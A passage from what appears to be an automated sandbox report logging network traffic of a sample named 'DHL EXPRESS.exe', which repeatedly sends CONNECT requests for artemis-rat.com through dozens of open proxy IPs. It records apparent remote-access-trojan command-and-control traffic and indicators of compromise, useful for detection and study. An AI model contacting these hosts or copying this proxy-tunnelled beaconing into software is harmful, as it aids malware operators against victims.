Mar 11, 2024 18:36:49.653489113 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.8	52921	45.11.95.165	5214	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.497639894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.8	52927	47.242.15.120	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.498877048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.8	52942	72.206.181.105	64935	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.511806011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.8	52905	109.194.22.61	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.512149096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.8	52914	217.145.199.47	56746	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.513226032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.8	52926	185.49.30.5	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.515316963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.8	52988	162.241.45.22	63501	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.527575970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.8	52978	5.161.103.113	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.552469015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.767956018 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.8	52928	43.133.74.172	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.572628975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.8	53050	104.16.213.202	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.573020935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.727690935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.8	52961	162.223.94.164	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.573178053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.847616911 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.8	52930	5.61.33.234	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.576400995 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.8	53007	3.90.100.12	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.576523066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.793745995 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.8	53046	192.163.202.88	47585	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.577282906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.065834045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.769176960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.956891060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.8	52987	98.170.57.249	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.580235958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.8	51169	162.214.225.223	54917	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.591974974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.597134113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.8	53043	38.54.6.39	9080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.653467894 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:51.873858929 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.8	53122	41.86.252.91	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.653841019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.8	52947	61.178.152.31	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.653841019 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:49.998913050 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.8	53054	13.59.156.167	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.658591032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.877578974 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.8	52965	211.222.252.187	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.658641100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.8	52949	38.156.73.61	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.662293911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.808640957 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.8	52975	213.17.246.46	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.664361954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.984158993 CET	696	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.8	53004	61.110.5.2	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.664427996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.274312973 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.8	53034	98.162.25.7	31653	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.664472103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.8	53051	98.170.57.231	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.669491053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.8	52955	170.84.205.17	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.671508074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.8	53008	130.162.213.175	3129	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.672918081 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.990247965 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.8	51015	197.232.47.122	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.676356077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.8	51741	117.160.250.130	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.676979065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.930284023 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.8	53000	95.70.220.173	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.677761078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.8	53037	146.56.146.5	48384	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.678985119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.332005978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.309298992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
